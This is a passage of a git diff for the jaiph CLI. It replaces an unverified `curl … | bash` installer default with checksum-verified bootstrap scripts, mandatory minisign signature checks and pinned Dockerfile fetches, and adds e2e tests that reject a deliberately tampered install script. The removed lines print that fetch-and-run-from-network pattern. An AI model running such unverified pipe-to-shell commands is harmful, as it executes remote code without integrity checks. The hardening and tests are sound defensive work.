downloads the matching per-platform binary plus `SHA256SUMS` (and its signature), verifies them, and replaces `~/.local/bin/jaiph` (or `JAIPH_BIN_DIR`). ## `jaiph mcp` {: #jaiph-mcp} diff --git a/docs/contributing.md b/docs/contributing.md index 24dd7d68..23b3b673 100644 --- a/docs/contributing.md +++ b/docs/contributing.md @@ -48,7 +48,7 @@ Set **`JAIPH_SKIP_DOCKER_BUILD=1`** only to skip the image build (installer acce For day-to-day work on the compiler and CLI you usually stay inside the clone: install dev dependencies once, then build and run tests from npm scripts. -**Prerequisites:** Node.js **20.x** and **`npm`** (matching `.github/workflows/ci.yml`). **[Bun](https://bun.sh)** is also required for `npm run build:standalone` and `./docs/install-from-local.sh`; standalone cross-compiles run in `.github/workflows/release.yml` via `oven-sh/setup-bun`, not in the main `ci.yml` unit/E2E jobs. End-user installs from `docs/install` need only `curl` and `shasum` / `sha256sum`. The installers also expect `bash`. End-to-end tests are written in bash and are run by `e2e/test_all.sh`. +**Prerequisites:** Node.js **20.x** and **`npm`** (matching `.github/workflows/ci.yml`). **[Bun](https://bun.sh)** is also required for `npm run build:standalone` and `./docs/install-from-local.sh`; standalone cross-compiles run in `.github/workflows/release.yml` via `oven-sh/setup-bun`, not in the main `ci.yml` unit/E2E jobs. End-user installs from `docs/install` need `curl`, `shasum` / `sha256sum`, and [`minisign`](https://jedisct1.github.io/minisign/) to verify the release signature. The installers also expect `bash`. On a CI host (`CI` set), or with `JAIPH_ALLOW_UNSIGNED=1`, the install proceeds on checksum only and `minisign` is not required. End-to-end tests are written in bash and are run by `e2e/test_all.sh`. **Typical commands** (from the repo root): @@ -249,7 +249,9 @@ Bun has no `bun-windows-arm64` target, so Windows ships x64 only. Every release #### Release signing -Releases sign `SHA256SUMS` with [minisign](https://jedisct1.github.io/minisign/), publishing a detached `SHA256SUMS.minisig`. Installers always download that file and verify it when `minisign` is on `PATH` (public key embedded in both installers; canonical copy in `jaiph.pub`). +Releases sign `SHA256SUMS` with [minisign](https://jedisct1.github.io/minisign/), publishing a detached `SHA256SUMS.minisig`. Both installers download that file and require a valid signature before installing (public key embedded in both installers; canonical copy in `jaiph.pub`). The checksum ships over the same channel as the binary, so the signature is the only independent defense, and verification is fail-closed. On a normal (non-CI) host a missing `minisign` aborts the install rather than degrading to checksum-only. A CI host (`CI` set) may proceed on checksum only, and a deliberate non-CI checksum-only install must opt in with `JAIPH_ALLOW_UNSIGNED=1`. An explicitly empty `JAIPH_MINISIGN_PUBLIC_KEY` is a misconfiguration and also fails closed. + +**Install-script integrity.** The bootstrap entry points that fetch and run the installer (`docs/run`, `docs/init`, and `jaiph use`) do not pipe `curl … | bash`. They download `docs/install` and its published checksum `docs/install.sha256`, compare them, and run the script only when they match. A missing or mismatched checksum fails closed. Keep `docs/install.sha256` in sync whenever you edit `docs/install`, regenerating it with `printf '%s install\n' "$(shasum -a 256 docs/install | awk '{print $1}')" > docs/install.sha256`. The `e2e/tests/06_bootstrap_integrity.sh` test pins the committed checksum to the current `docs/install` and fails the build if they drift. **Maintainers:** generate once with `minisign -G -W -p jaiph.pub -s jaiph.key -f` (no passphrase; `-W` still labels the file "encrypted secret key" but uses an empty password). Store **`jaiph.key`** (not `jaiph.pub`) as the `MINISIGN_SECRET_KEY` GitHub Actions secret — paste both lines, or `base64 -w0 jaiph.key` as a single line. Commit `jaiph.pub` and keep installer defaults in sync. @@ -268,7 +270,7 @@ minisign -S -s jaiph.key -m docs/registry -x docs/registry.minisig Without a valid `registry.minisig`, remote `jaiph install ` by design fails closed; local development can point `JAIPH_REGISTRY` at a file path to bypass the network entirely. Registry entries may additionally pin a `commit` (the cloned HEAD must match) and carry a per-library `signature`/`publicKey` (a detached minisign signature over the commit SHA, verified fail-closed) — see [CLI — `jaiph install`](cli.md#jaiph-install). -**Dockerfile toolchain verification.** `runtime/Dockerfile` pins each remote installer script via build ARGs (`UV_INSTALL_SHA256`, `RUSTUP_INIT_SHA256`, `BUN_INSTALL_SHA256`, `CURSOR_INSTALL_SHA256`). ARGs default to empty (skip verification) for development; CI/release builds should populate them with the SHA256 of each installer script at the pinned version. The NodeSource APT block uses GPG-signed packages directly — no installer script execution. +**Dockerfile toolchain verification.** Every remote toolchain fetch in `runtime/Dockerfile` goes through `runtime/fetch-verify.sh`, which downloads the URL and aborts unless the bytes match a required SHA-256. Each fetch pins its checksum through a build ARG: the installer scripts (`UV_INSTALL_SHA256`, `RUSTUP_INIT_SHA256`, `BUN_INSTALL_SHA256`, `CURSOR_INSTALL_SHA256`) and the downloaded binaries and archives (per-architecture `GO_SHA256_*`, `YQ_SHA256_*`, `KUBECTL_SHA256_*`, `AWSCLI_SHA256_*`, and `TASK_SHA256_*`). The ARGs default to the pinned hashes for the current versions, and an empty or mismatched value fails the build instead of installing unverified bytes. Some upstream URLs are rolling, such as `https://astral.sh/uv/install.sh` and `https://sh.rustup.rs`, so refresh the matching pin when you bump a version or upstream changes the installer. The NodeSource APT block uses GPG-signed packages directly, so it needs no checksum ARG. ### Local docs site (Jekyll) diff --git a/docs/env-vars.md b/docs/env-vars.md index e790acb0..c5990dd5 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -71,7 +71,7 @@ Inside a container the container is the sandbox, so unsafe host-only mode procee | `JAIPH_INBOX_PARALLEL` | — | — | — | — | Unused — the runtime does not read this variable (tests assert setting it has no effect on inbox dispatch order). | | `JAIPH_INPLACE` | host | bool (`1` / `true`) | `false` | — | Opt into inplace sandbox mode (host workspace bind-mounted read-write). `--inplace` is the flag form on `jaiph run`, `jaiph serve`, and `jaiph mcp` (flag wins: it sets this variable for that process). Mutually exclusive with `JAIPH_UNSAFE` / `--unsafe` (`E_FLAG_CONFLICT`). Not forwarded into the container. | | `JAIPH_INPLACE_YES` | host | bool (`1` / `true`) | `false` | — | Auto-confirm the destructive-edit prompt for **both** inplace and unsafe modes (`--yes` / `-y` is the flag form on `jaiph run`, `jaiph serve`, and `jaiph mcp`). Required on `jaiph run` when `JAIPH_INPLACE` **or** the unsafe host-only path (see `JAIPH_UNSAFE`) is active and stdin is not a TTY. `jaiph serve` / `jaiph mcp` never prompt: launching the server with the posture flag or env var is the consent, and the effective posture is printed once at startup. Not forwarded into the container. | -| `JAIPH_INSTALL_COMMAND` | host | string | `curl -fsSL https://jaiph.org/install \| bash` | — | Command `jaiph use` re-invokes to reinstall. | +| `JAIPH_INSTALL_COMMAND` | host | string | — | — | Operator override for `jaiph use` (forks, offline bundles, local scripts); run as-is. When unset, `jaiph use` fetches `${JAIPH_SITE}/install`, verifies it against `${JAIPH_SITE}/install.sha256`, and only then executes it (a mismatch fails closed). | | `JAIPH_LIB` | host | path | — | — | Removed from the product. The CLI strips it from the launched env before each run. | | `JAIPH_META_FILE` | internal | path | — | — | Absolute path to the run-metadata file. Set on the detached workflow runner child; stripped from the parent env before launch. | | `JAIPH_MOCK_PROMPT_ARMS_JSON` | runtime | string (JSON) | — | — | Test-only — injects a mock-arm dispatch table for `prompt` steps. Set by `jaiph test`. | @@ -105,6 +105,7 @@ Inside a container the container is the sandbox, so unsafe host-only mode procee | `JAIPH_SERVE_RETAIN_AGE_SEC` | host | int | `86400` (24h) | — | `jaiph serve` — max age (seconds, from `ended_at`) of a completed run kept in the in-memory registry; older terminal records are evicted. `0` disables age eviction. Active runs are never evicted; durable `.jaiph/runs` artifacts are unaffected. Must be `>= 0`. | | `JAIPH_SERVE_RETAIN_RUNS` | host | int | `500` | — | `jaiph serve` — max completed runs kept in the in-memory registry; beyond it the oldest terminal records are evicted first. Active runs are never evicted; durable `.jaiph/runs` artifacts are unaffected. Must be a positive integer. | | `JAIPH_SERVE_TOKEN` | host | string | — | — | `jaiph serve` — static **single-operator** bearer token required on every `/v1/*` and `/mcp` request (constant-time compared). This is a shared-secret gate, **not** multi-tenant authentication: there is no per-user identity, revocation, or per-action authorization — the one operator holds every capability. For those, use OIDC (`JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE`), which takes precedence. Unset leaves `/v1/*` open on loopback; binding a non-loopback `--host` with no auth is a startup error. `/healthz` is always unauthenticated; `/docs` + `/openapi.json` follow `JAIPH_SERVE_EXPOSE_DOCS`. The whole `JAIPH_SERVE_*` family is host-only and is excluded from the forwarding allowlist and the prompt scrub, so a workflow the server runs never sees this token. | +| `JAIPH_SITE` | host | string | `https://jaiph.org` | — | Base URL `jaiph use` (and the `docs/run` / `docs/init` bootstraps) fetch the install script and its `install.sha256` from. The default install path verifies the fetched script against the published checksum before executing it (finding M-11). | | `JAIPH_SKILL_PATH` | host | path | — | — | When set and the path exists, `jaiph init` writes `.jaiph/SKILL.md` from that file. Otherwise the CLI walks an install-relative search. | | `JAIPH_SOURCE_ABS` | internal | path | — | — | Absolute path to the entry `.jh` file. Set by the CLI before spawning the runner. | | `JAIPH_SOURCE_FILE` | internal | string (basename) | entry-file basename | — | Used to name run directories. | @@ -192,6 +193,8 @@ The installer shell script (`docs/install`) reads these variables, and `jaiph us | `JAIPH_REPO_REF` | string | `v0.12.0` (installer default when unset) | Release ref the installer downloads (`v0.12.0`, `nightly`, …). `jaiph use ` sets this to `v` or `nightly`. | | `JAIPH_BIN_DIR` | path | `$HOME/.local/bin` | Target bin directory for the installed `jaiph` binary. | | `JAIPH_RELEASE_BASE_URL` | string | `https://github.com/jaiphlang/jaiph/releases/download/` | Override the GitHub Release base URL the installer downloads from. | +| `JAIPH_MINISIGN_PUBLIC_KEY` | string | bundled release key | minisign public key used to verify `SHA256SUMS.minisig`. Unset uses the bundled key. An explicitly empty value fails closed (the installer refuses to install rather than skipping signature verification). | +| `JAIPH_ALLOW_UNSIGNED` | bool (`1`) | — | Opt in to a checksum-only install on a normal host when `minisign` is not available. Without it (and outside CI), a missing `minisign` aborts the install. CI hosts (`CI` set) already proceed on checksum only. | | `JAIPH_REPO_URL` | path | — | Local repo path (directory containing `package.json`) for the from-source installer branch (`docs/install-from-local.sh`). Ignored on the binary-download path. | ## Docker sandbox failure modes diff --git a/docs/init b/docs/init index f4d992e2..564f12b9 100755 --- a/docs/init +++ b/docs/init @@ -9,6 +9,39 @@ set -euo pipefail JAIPH_SITE="${JAIPH_SITE:-https://jaiph.org}" +# Fetch the install script and verify it against its published sha256 before +# running it, instead of piping `curl … | bash` (finding M-11). Mirrors docs/run. +install_jaiph_verified() { + local d expected actual status + d="$(mktemp -d "${TMPDIR:-/tmp}/jaiph-install-XXXXXX")" + if ! curl -fsSL "${JAIPH_SITE}/install" -o "${d}/install"; then + echo "Error: failed to download ${JAIPH_SITE}/install" >&2 + rm -rf "${d}"; return 1 + fi + if ! curl -fsSL "${JAIPH_SITE}/install.sha256" -o "${d}/install.sha256"; then + echo "Error: failed to download ${JAIPH_SITE}/install.sha256 — refusing to run an unverified install script." >&2 + rm -rf "${d}"; return 1 + fi + expected="$(awk '{print $1; exit}' "${d}/install.sha256")" + if command -v sha256sum >/dev/null 2>&1; then + actual="$(sha256sum "${d}/install" | awk '{print $1}')" + elif command -v shasum >/dev/null 2>&1; then + actual="$(shasum -a 256 "${d}/install" | awk '{print $1}')" + else + echo "Error: no sha256sum/shasum available to verify the install script." >&2 + rm -rf "${d}"; return 1 + fi + if [ -z "${expected}" ] || [ "${expected}" != "${actual}" ]; then + echo "Error: install script integrity check failed (expected ${expected:-}, got ${actual})." >&2 + echo "The bootstrap script does not match its published checksum; aborting." >&2 + rm -rf "${d}"; return 1 + fi + status=0 + bash "${d}/install" || status=$? + rm -rf "${d}" + return "${status}" +} + if ! command -v node >/dev/null 2>&1; then echo "Error: node is required but not found in \$PATH." >&2 echo "Install Node.js (https://nodejs.org) and try again." >&2 @@ -17,7 +50,10 @@ fi if ! command -v jaiph >/dev/null 2>&1; then echo "Jaiph not found — installing..." - curl -fsSL "${JAIPH_SITE}/install" | bash + if ! install_jaiph_verified; then + echo "Error: jaiph installation failed." >&2 + exit 1 + fi export PATH="$HOME/.local/bin:$PATH" if ! command -v jaiph >/dev/null 2>&1; then echo "Error: jaiph was not found after installation." >&2 diff --git a/docs/install b/docs/install index 9d0f3227..7cd581b9 100755 --- a/docs/install +++ b/docs/install @@ -239,8 +239,23 @@ else # Releases are signed with: minisign -S -s jaiph.key -m SHA256SUMS # Verify manually: minisign -V -P "${JAIPH_MINISIGN_PUBLIC_KEY}" -m SHA256SUMS # Key generation/rotation: see docs/contributing.md → "Release signing" - JAIPH_MINISIGN_PUBLIC_KEY="${JAIPH_MINISIGN_PUBLIC_KEY:-RWSSXpVKgVIX79jsA5r833g6yWwkO+Ka5HAtSjrN1V7t4+qP4zSOIlWy}" - if [ -n "${JAIPH_MINISIGN_PUBLIC_KEY}" ] && command -v minisign >/dev/null 2>&1; then + # + # Fail-closed policy (finding M-11): the detached signature is the only + # defense that does not travel over the same channel as the binary and its + # SHA256SUMS, so verification is mandatory rather than best-effort. + # - The bundled key is used only when JAIPH_MINISIGN_PUBLIC_KEY is UNSET + # (`${VAR-default}`, not `${VAR:-default}`). An explicitly empty value is a + # misconfiguration and aborts instead of silently falling back or skipping. + # - minisign missing on a normal (non-CI) host aborts. CI hosts (CI set) pin + # their toolchain out of band and may proceed on checksum only; a deliberate + # non-CI checksum-only install must opt in with JAIPH_ALLOW_UNSIGNED=1. + JAIPH_MINISIGN_PUBLIC_KEY="${JAIPH_MINISIGN_PUBLIC_KEY-RWSSXpVKgVIX79jsA5r833g6yWwkO+Ka5HAtSjrN1V7t4+qP4zSOIlWy}" + if [ -z "${JAIPH_MINISIGN_PUBLIC_KEY}" ]; then + print_error "JAIPH_MINISIGN_PUBLIC_KEY is empty — refusing to install without signature verification" + echo "Unset JAIPH_MINISIGN_PUBLIC_KEY to use the bundled release key, or set a valid minisign public key." >&2 + exit 1 + fi + if command -v minisign >/dev/null 2>&1; then print_step "Verifying release signature..." if ! minisign -V -P "${JAIPH_MINISIGN_PUBLIC_KEY}" -m "${tmp_dir}/SHA256SUMS" \ -x "${tmp_dir}/SHA256SUMS.minisig" >/dev/null 2>&1; then @@ -250,9 +265,15 @@ else exit 1 fi print_success "Release signature verified" - else - print_warning "Skipping detached-signature verification (minisign not installed)" + elif [ -n "${CI:-}" ] || [ "${JAIPH_ALLOW_UNSIGNED:-}" = "1" ]; then + print_warning "minisign not installed — proceeding on checksum only (CI/JAIPH_ALLOW_UNSIGNED opt-out)" echo " Install minisign for full verification: https://jedisct1.github.io/minisign/" >&2 + else + print_error "minisign is required to verify the release signature but was not found" + echo "Install minisign, then re-run: https://jedisct1.github.io/minisign/" >&2 + echo "On a trusted CI host (or for a deliberate checksum-only install) set" >&2 + echo "CI=1 or JAIPH_ALLOW_UNSIGNED=1 to proceed without signature verification." >&2 + exit 1 fi print_step "Verifying checksum..." diff --git a/docs/install.ps1 b/docs/install.ps1 index b627abb5..89ace760 100644 --- a/docs/install.ps1 +++ b/docs/install.ps1 @@ -105,13 +105,23 @@ try { # Releases are signed with: minisign -S -s jaiph.key -m SHA256SUMS # Verify manually: minisign -V -P -m SHA256SUMS # Key generation/rotation: see docs/contributing.md -> "Release signing" - $JaiphMinisignKey = if ($env:JAIPH_MINISIGN_PUBLIC_KEY) { + # Fail-closed policy (finding M-11), mirroring docs/install: the detached + # signature is mandatory. An env key that is set but empty aborts instead of + # falling back to the bundled key; minisign missing aborts on a normal host + # and proceeds on checksum only under CI (or JAIPH_ALLOW_UNSIGNED=1). + $keyIsSet = Test-Path Env:\JAIPH_MINISIGN_PUBLIC_KEY + $JaiphMinisignKey = if ($keyIsSet) { $env:JAIPH_MINISIGN_PUBLIC_KEY } else { "RWSSXpVKgVIX79jsA5r833g6yWwkO+Ka5HAtSjrN1V7t4+qP4zSOIlWy" } + if (-not $JaiphMinisignKey) { + Print-Error "JAIPH_MINISIGN_PUBLIC_KEY is empty — refusing to install without signature verification" + Write-Host "Unset JAIPH_MINISIGN_PUBLIC_KEY to use the bundled release key, or set a valid minisign public key." + exit 1 + } $minisignCmd = Get-Command "minisign" -ErrorAction SilentlyContinue - if ($JaiphMinisignKey -and $minisignCmd) { + if ($minisignCmd) { Print-Step "Verifying release signature..." $verifyResult = & minisign -V -P $JaiphMinisignKey ` -m (Join-Path $tmpDir "SHA256SUMS") ` @@ -123,9 +133,14 @@ try { exit 1 } Print-Success "Release signature verified" - } else { - Print-Warning "Skipping detached-signature verification (minisign not installed)" + } elseif ($env:CI -or $env:JAIPH_ALLOW_UNSIGNED -eq "1") { + Print-Warning "minisign not installed — proceeding on checksum only (CI/JAIPH_ALLOW_UNSIGNED opt-out)" Write-Host " Install minisign for full verification: https://jedisct1.github.io/minisign/" + } else { + Print-Error "minisign is required to verify the release signature but was not found" + Write-Host "Install minisign, then re-run: https://jedisct1.github.io/minisign/" + Write-Host "On a trusted CI host set CI=1 (or JAIPH_ALLOW_UNSIGNED=1) to proceed on checksum only." + exit 1 } Print-Step "Verifying checksum..." diff --git a/docs/install.sha256 b/docs/install.sha256 new file mode 100644 index 00000000..ddf65d0b --- /dev/null +++ b/docs/install.sha256 @@ -0,0 +1 @@ +c7b1a4e9cc69c6c00d974f0cfaf2f682e3a4b2145ea341baf0bc945988ffd3a2 install diff --git a/docs/run b/docs/run index 3a6b250a..8078cd49 100755 --- a/docs/run +++ b/docs/run @@ -18,6 +18,41 @@ cleanup() { } trap cleanup EXIT INT TERM +# Fetch the install script and verify it against its published sha256 before +# running it, instead of piping `curl … | bash` (finding M-11). A missing or +# mismatched checksum fails closed, so a tampered bootstrap script is rejected +# rather than executed. The checksum is published at ${JAIPH_SITE}/install.sha256. +install_jaiph_verified() { + local d expected actual status + d="$(mktemp -d "${TMPDIR:-/tmp}/jaiph-install-XXXXXX")" + if ! curl -fsSL "${JAIPH_SITE}/install" -o "${d}/install"; then + echo "Error: failed to download ${JAIPH_SITE}/install" >&2 + rm -rf "${d}"; return 1 + fi + if ! curl -fsSL "${JAIPH_SITE}/install.sha256" -o "${d}/install.sha256"; then + echo "Error: failed to download ${JAIPH_SITE}/install.sha256 — refusing to run an unverified install script." >&2 + rm -rf "${d}"; return 1 + fi + expected="$(awk '{print $1; exit}' "${d}/install.sha256")" + if command -v sha256sum >/dev/null 2>&1; then + actual="$(sha256sum "${d}/install" | awk '{print $1}')" + elif command -v shasum >/dev/null 2>&1; then + actual="$(shasum -a 256 "${d}/install" | awk '{print $1}')" + else + echo "Error: no sha256sum/shasum available to verify the install script." >&2 + rm -rf "${d}"; return 1 + fi + if [ -z "${expected}" ] || [ "${expected}" != "${actual}" ]; then + echo "Error: install script integrity check failed (expected ${expected:-}, got ${actual})." >&2 + echo "The bootstrap script does not match its published checksum; aborting." >&2 + rm -rf "${d}"; return 1 + fi + status=0 + bash "${d}/install" || status=$? + rm -rf "${d}" + return "${status}" +} + # ── Preflight ── if ! command -v node >/dev/null 2>&1; then @@ -30,7 +65,10 @@ fi if ! command -v jaiph >/dev/null 2>&1; then echo "Jaiph not found — installing..." - curl -fsSL "${JAIPH_SITE}/install" | bash + if ! install_jaiph_verified; then + echo "Error: jaiph installation failed." >&2 + exit 1 + fi # Re-check after install export PATH="$HOME/.local/bin:$PATH" if ! command -v jaiph >/dev/null 2>&1; then diff --git a/docs/setup.md b/docs/setup.md index 4411d2b7..4148a475 100644 --- a/docs/setup.md +++ b/docs/setup.md @@ -64,7 +64,7 @@ jaiph use nightly # rolling nightly prerelease jaiph use 0.12.0 # reinstalls the v0.12.0 release binary ``` -`jaiph use` runs the same installer as step 1 again, with `JAIPH_REPO_REF` set to `nightly` or `v`. The installer command comes from `JAIPH_INSTALL_COMMAND`, which defaults to `curl -fsSL https://jaiph.org/install | bash`. `jaiph use` then replaces the binary at `~/.local/bin/jaiph`, or at the location set by `JAIPH_BIN_DIR`. Override `JAIPH_INSTALL_COMMAND` for forks, offline bundles, or local scripts. +`jaiph use` runs the same installer as step 1 again, with `JAIPH_REPO_REF` set to `nightly` or `v`. By default it does not pipe `curl … | bash`. It downloads the install script from `${JAIPH_SITE}/install` (default `https://jaiph.org`), verifies it against the published `${JAIPH_SITE}/install.sha256`, and runs it only when the checksum matches. A missing or mismatched checksum fails closed. `jaiph use` then replaces the binary at `~/.local/bin/jaiph`, or at the location set by `JAIPH_BIN_DIR`. Set `JAIPH_INSTALL_COMMAND` to run a verbatim command instead for forks, offline bundles, or local scripts. ## Verification @@ -76,7 +76,7 @@ The command prints `jaiph `, taken from the installed release at build ## Verify the release signature -Every release includes `SHA256SUMS` and a detached [minisign](https://jedisct1.github.io/minisign/) signature `SHA256SUMS.minisig`. The installer downloads both files, and it verifies the signature when `minisign` is on `PATH`. +Every release includes `SHA256SUMS` and a detached [minisign](https://jedisct1.github.io/minisign/) signature `SHA256SUMS.minisig`. The installer downloads both files and **requires** a valid signature: on a normal (non-CI) host, a missing `minisign` aborts the install rather than degrading to checksum-only (the checksum ships over the same channel as the binary, so it is not an independent defense). CI hosts (`CI` set) may proceed on checksum-only; for a deliberate non-CI checksum-only install, set `JAIPH_ALLOW_UNSIGNED=1`. An explicitly empty `JAIPH_MINISIGN_PUBLIC_KEY` is a misconfiguration and also fails closed. From a checkout of this repo: diff --git a/e2e/test_all.sh b/e2e/test_all.sh index 3882d84c..d5216ed2 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -9,8 +9,10 @@ trap e2e::cleanup EXIT TEST_SCRIPTS=( "e2e/tests/00_install_and_init.sh" "e2e/tests/05_jaiph_use_pinned_version.sh" + "e2e/tests/06_bootstrap_integrity.sh" "e2e/tests/07_installer_binary.sh" "e2e/tests/08_setup_action.sh" + "e2e/tests/09_dockerfile_fetch_verify.sh" "e2e/tests/10_basic_workflows.sh" "e2e/tests/20_rule_and_prompt.sh" "e2e/tests/22_assign_capture.sh" diff --git a/e2e/tests/06_bootstrap_integrity.sh b/e2e/tests/06_bootstrap_integrity.sh new file mode 100644 index 00000000..3e1216f1 --- /dev/null +++ b/e2e/tests/06_bootstrap_integrity.sh @@ -0,0 +1,149 @@ +#!/usr/bin/env bash +# +# Acceptance for the bootstrap-script integrity check (finding M-11, AC4). The +# docs/run bootstrap must verify the install script against its published +# sha256 before executing it, instead of piping `curl … | bash`. This test +# drives docs/run against a local file:// "site" with jaiph absent from PATH so +# the install branch runs, and asserts: +# - a tampered install script is rejected (integrity check fails closed) +# - a missing install.sha256 is rejected (no unverified execution) +# - a matching install script is accepted and executed +# It also pins the committed docs/install.sha256 to the current docs/install so +# the published checksum cannot drift out of sync. + +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +source "${ROOT_DIR}/e2e/lib/common.sh" +trap e2e::cleanup EXIT + +e2e::prepare_test_env "bootstrap_integrity" +TEST_DIR="${JAIPH_E2E_TEST_DIR}" +RUN_SCRIPT="${ROOT_DIR}/docs/run" + +if command -v sha256sum >/dev/null 2>&1; then + host_sha256() { sha256sum "$1" | awk '{print $1}'; } +elif command -v shasum >/dev/null 2>&1; then + host_sha256() { shasum -a 256 "$1" | awk '{print $1}'; } +else + e2e::skip "no sha256sum/shasum on host — skipping bootstrap integrity acceptance" + exit 0 +fi + +# ── Committed docs/install.sha256 matches docs/install ──────────────────────── + +e2e::section "committed docs/install.sha256 matches docs/install" + +if [ ! -f "${ROOT_DIR}/docs/install.sha256" ]; then + e2e::fail "docs/install.sha256 is missing — bootstrap scripts cannot verify the installer" +fi +committed_sum="$(awk '{print $1; exit}' "${ROOT_DIR}/docs/install.sha256")" +real_sum="$(host_sha256 "${ROOT_DIR}/docs/install")" +e2e::assert_equals "${committed_sum}" "${real_sum}" "docs/install.sha256 is in sync with docs/install" + +# ── Build a fake PATH with the tools docs/run needs, but no jaiph ───────────── +# +# docs/run's preflight requires node; install_jaiph_verified needs curl, awk, +# mktemp, bash, rm and a sha tool. Symlinking exactly these guarantees jaiph is +# absent (so the install branch runs) while the script can still function. + +FAKE_BIN="${TEST_DIR}/fakebin" +mkdir -p "${FAKE_BIN}" +for t in node curl mktemp awk bash rm mkdir chmod cat cp ln uname sed grep dirname sha256sum shasum; do + p="$(command -v "${t}" 2>/dev/null || true)" + [ -n "${p}" ] && ln -sf "${p}" "${FAKE_BIN}/${t}" +done +if PATH="${FAKE_BIN}" command -v jaiph >/dev/null 2>&1; then + e2e::skip "jaiph resolvable on the fake PATH — cannot exercise the install branch" + exit 0 +fi +if ! PATH="${FAKE_BIN}" command -v node >/dev/null 2>&1; then + e2e::skip "node not available for the fake PATH — skipping bootstrap install-branch checks" + exit 0 +fi + +# A fake install script that "installs" a jaiph stub into $HOME/.local/bin, +# which docs/run puts on PATH after install. +write_site() { + local dir="$1" + mkdir -p "${dir}" + cat > "${dir}/install" <<'INSTALL' +#!/usr/bin/env bash +mkdir -p "${HOME}/.local/bin" +cat > "${HOME}/.local/bin/jaiph" <<'STUB' +#!/usr/bin/env bash +echo "STUB-JAIPH $*" +STUB +chmod +x "${HOME}/.local/bin/jaiph" +INSTALL + printf '%s install\n' "$(host_sha256 "${dir}/install")" > "${dir}/install.sha256" +} + +# ── Matching install script is accepted and executed ────────────────────────── + +e2e::section "verified install script is accepted and run" + +SITE_GOOD="${TEST_DIR}/site-good" +HOME_GOOD="${TEST_DIR}/home-good" +mkdir -p "${HOME_GOOD}" +write_site "${SITE_GOOD}" + +good_status=0 +good_out="$( + env -i PATH="${FAKE_BIN}" HOME="${HOME_GOOD}" TMPDIR="${TEST_DIR}" \ + JAIPH_SITE="file://${SITE_GOOD}" \ + bash "${RUN_SCRIPT}" 'workflow default() { }' 2>&1 +)" || good_status=$? +e2e::assert_equals "${good_status}" "0" "verified install + run exits zero" +e2e::assert_contains "${good_out}" "STUB-JAIPH run" "the installed jaiph stub ran the workflow" +if [ ! -x "${HOME_GOOD}/.local/bin/jaiph" ]; then + e2e::fail "verified install did not place the jaiph stub" +fi +e2e::pass "matching install script is verified and executed" + +# ── Tampered install script is rejected ─────────────────────────────────────── + +e2e::section "tampered install script is rejected" + +SITE_BAD="${TEST_DIR}/site-bad" +HOME_BAD="${TEST_DIR}/home-bad" +mkdir -p "${HOME_BAD}" +write_site "${SITE_BAD}" +# Tamper the script AFTER publishing its checksum — the hash no longer matches. +printf '\necho "tampered-payload"\n' >> "${SITE_BAD}/install" + +bad_status=0 +bad_out="$( + env -i PATH="${FAKE_BIN}" HOME="${HOME_BAD}" TMPDIR="${TEST_DIR}" \ + JAIPH_SITE="file://${SITE_BAD}" \ + bash "${RUN_SCRIPT}" 'workflow default() { }' 2>&1 +)" || bad_status=$? +e2e::assert_equals "${bad_status}" "1" "tampered install script exits non-zero" +e2e::assert_contains "${bad_out}" "integrity check failed" "reports the integrity failure" +if [ -e "${HOME_BAD}/.local/bin/jaiph" ]; then + e2e::fail "tampered install script was executed (jaiph stub was created)" +fi +e2e::pass "tampered install script is fail-closed and never executed" + +# ── Missing install.sha256 is rejected ──────────────────────────────────────── + +e2e::section "missing install.sha256 fails closed" + +SITE_NOSHA="${TEST_DIR}/site-nosha" +HOME_NOSHA="${TEST_DIR}/home-nosha" +mkdir -p "${HOME_NOSHA}" +write_site "${SITE_NOSHA}" +rm -f "${SITE_NOSHA}/install.sha256" + +nosha_status=0 +nosha_out="$( + env -i PATH="${FAKE_BIN}" HOME="${HOME_NOSHA}" TMPDIR="${TEST_DIR}" \ + JAIPH_SITE="file://${SITE_NOSHA}" \ + bash "${RUN_SCRIPT}" 'workflow default() { }' 2>&1 +)" || nosha_status=$? +e2e::assert_equals "${nosha_status}" "1" "missing checksum exits non-zero" +e2e::assert_contains "${nosha_out}" "unverified install script" "refuses to run without a published checksum" +if [ -e "${HOME_NOSHA}/.local/bin/jaiph" ]; then + e2e::fail "install ran despite a missing published checksum" +fi +e2e::pass "missing published checksum is fail-closed" diff --git a/e2e/tests/07_installer_binary.sh b/e2e/tests/07_installer_binary.sh index 7216e73d..e978411f 100755 --- a/e2e/tests/07_installer_binary.sh +++ b/e2e/tests/07_installer_binary.sh @@ -80,6 +80,97 @@ if [ -e "${BIN_DIR_NOSIG}/jaiph" ]; then fi e2e::pass "missing signature file is non-recoverable and leaves no binary" +# ── Empty JAIPH_MINISIGN_PUBLIC_KEY fails closed (AC2) ──────────────────────── +# +# An explicitly empty key is a misconfiguration: the installer must abort rather +# than fall back to the bundled key or skip verification. The check fires before +# the minisign-availability branch, so it holds regardless of minisign/CI. + +e2e::section "empty JAIPH_MINISIGN_PUBLIC_KEY fails closed" + +RELEASE_DIR_EK="${TEST_DIR}/release-emptykey" +BIN_DIR_EK="${TEST_DIR}/bin-emptykey" +mkdir -p "${RELEASE_DIR_EK}" "${BIN_DIR_EK}" +printf 'real-binary-bytes' > "${RELEASE_DIR_EK}/${HOST_BIN_NAME}" +ek_sum="$(host_sha256 "${RELEASE_DIR_EK}/${HOST_BIN_NAME}")" +printf '%s %s\n' "${ek_sum}" "${HOST_BIN_NAME}" > "${RELEASE_DIR_EK}/SHA256SUMS" +printf 'placeholder-sig\n' > "${RELEASE_DIR_EK}/SHA256SUMS.minisig" + +ek_status=0 +ek_output="$( + unset JAIPH_REPO_URL + JAIPH_RELEASE_BASE_URL="file://${RELEASE_DIR_EK}" \ + JAIPH_BIN_DIR="${BIN_DIR_EK}" \ + JAIPH_MINISIGN_PUBLIC_KEY="" \ + bash "${INSTALL_SCRIPT}" 2>&1 +)" || ek_status=$? +e2e::assert_equals "${ek_status}" "1" "empty minisign key exits non-zero" +# assert_contains: output carries ANSI color codes around the message +e2e::assert_contains "${ek_output}" "JAIPH_MINISIGN_PUBLIC_KEY is empty" "reports the empty-key misconfiguration" +if [ -e "${BIN_DIR_EK}/jaiph" ]; then + e2e::fail "installer left a binary when the signing key was empty" +fi +e2e::pass "empty minisign key is fail-closed" + +# ── minisign unavailable on a non-CI host fails closed 